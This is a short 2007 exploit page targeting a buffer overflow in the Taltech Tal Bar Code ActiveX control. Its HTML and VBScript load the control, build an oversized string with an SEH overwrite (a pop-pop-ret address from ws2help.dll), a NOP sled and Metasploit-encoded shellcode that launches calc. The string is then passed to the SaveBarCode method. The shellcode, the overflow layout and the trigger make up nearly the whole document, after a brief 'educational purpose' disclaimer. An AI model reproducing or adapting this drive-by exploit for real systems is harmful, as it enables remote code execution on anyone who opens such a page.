Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
2007-05-08 00:00:00<!--
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Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
By Umesh Wanve
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Date : 08-05-2007
Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded
Tested on Windows 2000 SP4 Server English
Windows 2000 SP4 Professional English
Opens Calculator on the Vulnerable machine.
PS. This was written for educational purpose. Use it at your own risk.Author will be not be
responsible for any damage.
Always thanks to Metasploit and Stroke
-->
<html>
<title>
Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>
<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>
<script language="vbscript">
targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX"
prototype = "Sub SaveBarCode ( ByVal FileName As String )"
memberName = "SaveBarCode"
progid = "TALBarCode.TALBarCd"
argCount = 1
<!-- win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")
nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")
pointer_to_seh=unescape("%eb%06%90%90")
<!-- 0x750211a9 -- pop pop ret from ws2help.dll from windows2000 SP4 -->
seh_handler=unescape("%a9%11%02%75")
arg1=String(2488,"A")
arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop
target.SaveBarCode arg1
</script>
</body>
</html>
#
Fixes
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